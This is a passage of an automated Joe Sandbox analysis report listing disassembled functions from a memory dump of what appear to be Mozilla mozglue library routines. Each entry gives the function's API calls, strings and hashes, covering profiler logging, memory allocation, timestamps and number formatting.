MapViewOfFileNuma2, xrefs: 6C5397B1

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 945e7f23737bc1abb8803748882f97ca6c42d9c1f4780923ddd87d46298ea0c9
Instruction ID: d6e8a49f1477ef52c3e8d5bbb9957e5adb8215dd854663bb4778f9d8028e6fe9
Opcode Fuzzy Hash: 945e7f23737bc1abb8803748882f97ca6c42d9c1f4780923ddd87d46298ea0c9
Instruction Fuzzy Hash: F941A6B46002159BDF00DFE6EC84A9E77B4EB8A324F024225ED1697780EB30A815CBE5

Function 6C570000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C570039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C570041
GetCurrentThreadId.KERNEL32 ref: 6C570075
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C570082
moz_xmalloc.MOZGLUE(00000048), ref: 6C570090
free.MOZGLUE(?), ref: 6C570104
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C57011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C57005B

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: f3e0af7e0c2d416b4a384dc40610dbfb236ef577bf33315a4e60d6c4860ceeae
Instruction ID: dafb11a100830f8e7e26318c8213fda0c2d0f5c121f6df688e3b0b2868cf382c
Opcode Fuzzy Hash: f3e0af7e0c2d416b4a384dc40610dbfb236ef577bf33315a4e60d6c4860ceeae
Instruction Fuzzy Hash: BF418C71900244DFCB20DFA6DC40A9ABBF0FF89318F41451EE99A93B50D732A855CBA5

Function 6C537E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C537EA7
malloc.MOZGLUE(00000001), ref: 6C537EB3

Part of subcall function 6C53CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C53CB49
Part of subcall function 6C53CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C53CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C537EC4
mozalloc_abort.MOZGLUE(?), ref: 6C537F19
malloc.MOZGLUE(?), ref: 6C537F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C537F4D

Strings

d, xrefs: 6C537F89

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: e5c09f736a7e85fc61889cdc8acad19b77820ff7d6f5af462a44fde5f06784b8
Instruction ID: eb1e2b4102c81e94a3aa59695ad242549de716e41bf02939f1526e4fdf9b53c8
Opcode Fuzzy Hash: e5c09f736a7e85fc61889cdc8acad19b77820ff7d6f5af462a44fde5f06784b8
Instruction Fuzzy Hash: EF313571E00298D7DF009B69DC045FEB778FF96208F065269EC4957612FB30A998C391

Function 6C533E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C533CCC), ref: 6C533EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C533FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C533CCC), ref: 6C534006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5340A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C533CCC), ref: 6C5340AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C533CCC), ref: 6C5340C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C534134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C533CCC), ref: 6C534143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C533CCC), ref: 6C534157

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: ca8722e552c4960506c47ea98ff2024de3d66b85d0d58576598a9c780da464e3
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 01A180B1A00225CFDB40CF68CC80659BBB5FF48308F655599D909AF752E776E886CFA0

Function 6C522030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C543F47,?,?,?,6C543F47,6C541A70,?), ref: 6C52207F
memset.VCRUNTIME140(?,000000E5,6C543F47,?,6C543F47,6C541A70,?), ref: 6C5220DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C543F47,6C541A70,?), ref: 6C52211A
EnterCriticalSection.KERNEL32(6C5AE744,?,6C543F47,6C541A70,?), ref: 6C522145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C543F47,6C541A70,?), ref: 6C5221BA
EnterCriticalSection.KERNEL32(6C5AE744,?,6C543F47,6C541A70,?), ref: 6C5221E0
LeaveCriticalSection.KERNEL32(6C5AE744,?,6C543F47,6C541A70,?), ref: 6C522232

Strings

MOZ_CRASH(), xrefs: 6C52227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C522253, 6C522268

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 99d4b16d0b8d18f10cfa4a7444941a1533746b7f8cff9359a3d6e91505ff6c6d
Instruction ID: c132dfffb1c5e214370ed92dc122be851371ff03b3eb70dc5d4a268c40dddeef
Opcode Fuzzy Hash: 99d4b16d0b8d18f10cfa4a7444941a1533746b7f8cff9359a3d6e91505ff6c6d
Instruction Fuzzy Hash: CC61E535F102168FCB04CEA9CD89B6E77F1AF85328F294639E624A7AD4D7759C00CB81

Function 6C579D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C578273), ref: 6C579D65
free.MOZGLUE(6C578273,?), ref: 6C579D7C
free.MOZGLUE(?,?), ref: 6C579D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C579E0F
free.MOZGLUE(6C57946B,?,?), ref: 6C579E24
free.MOZGLUE(?,?,?), ref: 6C579E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C579EC8
free.MOZGLUE(6C57946B,?,?,?), ref: 6C579EDF
free.MOZGLUE(?,?,?,?), ref: 6C579EF5

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7b0c4a4ac0f36a75692e297cf41c30f4817e1f11ea77c21a670d82fddcd78446
Instruction ID: bd9318104ddc812401a2596de14faa2b9ec241ca6b78fd8731f1e62311063461
Opcode Fuzzy Hash: 7b0c4a4ac0f36a75692e297cf41c30f4817e1f11ea77c21a670d82fddcd78446
Instruction Fuzzy Hash: B3719EB0909B41CBC712CF18C84095AF3F4FF99324B448659E89A5B701EB30E8C5CBA1

Function 6C57DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C57DDCF

Part of subcall function 6C55FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55FA4B

Part of subcall function 6C5790E0: free.MOZGLUE(?,00000000,?,?,6C57DEDB), ref: 6C5790FF
Part of subcall function 6C5790E0: free.MOZGLUE(?,00000000,?,?,6C57DEDB), ref: 6C579108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C57DE0D
free.MOZGLUE(00000000), ref: 6C57DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C57DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C57DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C57DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C56DEFD,?,6C534A68), ref: 6C57DF32

Part of subcall function 6C57DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C57DB86
Part of subcall function 6C57DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C57DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C56DEFD,?,6C534A68), ref: 6C57DF65
free.MOZGLUE(?), ref: 6C57DF80

Part of subcall function 6C545E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C545EDB
Part of subcall function 6C545E90: memset.VCRUNTIME140(ewXl,000000E5,?), ref: 6C545F27
Part of subcall function 6C545E90: LeaveCriticalSection.KERNEL32(?), ref: 6C545FB2

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: d5826c9baeb52ebad04f41a45640ada93f348a9cd4e257df0983f711b92713fb
Instruction ID: 9262566769e7e92d332473a99fdb8f8eebd2b6f7f763ca3d541d1c3f5b75a961
Opcode Fuzzy Hash: d5826c9baeb52ebad04f41a45640ada93f348a9cd4e257df0983f711b92713fb
Instruction Fuzzy Hash: EB51D5726016109BD732DB29DC806AFB3B2BFD1318F96051DD95A53B00E731F999CBA2

Function 6C585D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C585C8C,?,6C55E829), ref: 6C585D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C585C8C,?,6C55E829), ref: 6C585D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C585C8C,?,6C55E829), ref: 6C585D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C585C8C,?,6C55E829), ref: 6C585D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C585C8C,?,6C55E829), ref: 6C585DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C585C8C,?,6C55E829), ref: 6C585DC9
std::_Facet_Register.LIBCPMT ref: 6C585DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C585C8C,?,6C55E829), ref: 6C585E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C585C8C,?,6C55E829), ref: 6C585E45

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 2f040e2b67c0ce0c8eda4bbd8b2b01fc9badb67301f49c038e0adc14c16730d6
Instruction ID: 4ab6a649df38e8aa1678308be20cf121a8eb4b4e42bf2f4282890d6a9f3da49e
Opcode Fuzzy Hash: 2f040e2b67c0ce0c8eda4bbd8b2b01fc9badb67301f49c038e0adc14c16730d6
Instruction Fuzzy Hash: 8F41A3707012188FDB10EFA5CC98AAE7BB5FF89314F854069E90697781EB30ED05CBA5

Function 6C55CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5231A7), ref: 6C55CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C55CFA4, 6C55CFB8
<jemalloc>, xrefs: 6C55CF9F, 6C55CFB3

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d8c5a1000279ff82bb3dfec619f93520a3753befbe5c4228199d74c984e38fb8
Instruction ID: da451a8971f5271c2c00fa9e1263f318ed87a3f66b87371e4ee0a7fe48c6cd5d
Opcode Fuzzy Hash: d8c5a1000279ff82bb3dfec619f93520a3753befbe5c4228199d74c984e38fb8
Instruction Fuzzy Hash: 2631B6307402099BEF01AFE68C45B6E7BB5AF89718F644016F611ABAC0DB71F411CB95

Function 6C52ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C52F100: LoadLibraryW.KERNEL32(shell32,?,6C59D020), ref: 6C52F122
Part of subcall function 6C52F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C52F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C52ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C52EDCC
CreateFileW.KERNEL32 ref: 6C52EE08
free.MOZGLUE(00000000), ref: 6C52EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C52EE32

Part of subcall function 6C52EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C52EBB5
Part of subcall function 6C52EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C55D7F3), ref: 6C52EBC3
Part of subcall function 6C52EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C55D7F3), ref: 6C52EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C52EDC1

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0212ce266d3935059cbacd30285d2b41f250c36800d68fc59634b53fec85898b
Instruction ID: 12f1923f2b44e538eb88dbce7374f3ccdca52b15fe8d43c2e00c7e9ea69dd6fd
Opcode Fuzzy Hash: 0212ce266d3935059cbacd30285d2b41f250c36800d68fc59634b53fec85898b
Instruction Fuzzy Hash: 1B51C071D05214CBDB00DF79DC406AEB7F0AF99319F44892DE8556B780E7B86D48C7A2

Function 6C59A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C59A565

Part of subcall function 6C59A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C59A4BE
Part of subcall function 6C59A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C59A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C59A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C59A6B6

Strings

0, xrefs: 6C59A5FB
z, xrefs: 6C59A6AE

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: b9f7dd5a4d30c48caa607e056b8c96a539e7d48a6503bf1d8e8a33f23f2aa55f
Instruction ID: f164aed79e3f101a487484bddc6a7ec08bf2677d2396021ba4ea8f5f14b478ff
Opcode Fuzzy Hash: b9f7dd5a4d30c48caa607e056b8c96a539e7d48a6503bf1d8e8a33f23f2aa55f
Instruction Fuzzy Hash: 674128719097459FC741DF28C880A8FBBE5BFC9354F408A6EF49987650EB30E949CB92

Function 6C569420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
__Init_thread_footer.LIBCMT ref: 6C56949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C56946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C56947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C569459

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 92022c1d3ec7d78f9f47b2abbfdfe2fe3b96c3e620be6f7bd05f00bbd07da55a
Instruction ID: d246205bd7445b7daf9d7d57f1d34822ad418842d840365db742a1cca53684b7
Opcode Fuzzy Hash: 92022c1d3ec7d78f9f47b2abbfdfe2fe3b96c3e620be6f7bd05f00bbd07da55a
Instruction Fuzzy Hash: AC018870A00101CBD7109BDFEC15A5E33B5BB4536AF050637D90686F51DB32E8658A9F

Function 6C570F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C570F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C570F88
GetCurrentThreadId.KERNEL32 ref: 6C570FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C571067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5710A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C57114B

Part of subcall function 6C568AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C581563), ref: 6C568BD5

free.MOZGLUE(?), ref: 6C571174
free.MOZGLUE(?), ref: 6C571186

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 83caca2b89db5de1f103ce08368c57573a22c2ddfb68393a770fb5e459197506
Instruction ID: 579792bc1aa1ec01dbae3aef1d534e6dd7cdde4620f5e5d53eda7c1cf255aae9
Opcode Fuzzy Hash: 83caca2b89db5de1f103ce08368c57573a22c2ddfb68393a770fb5e459197506
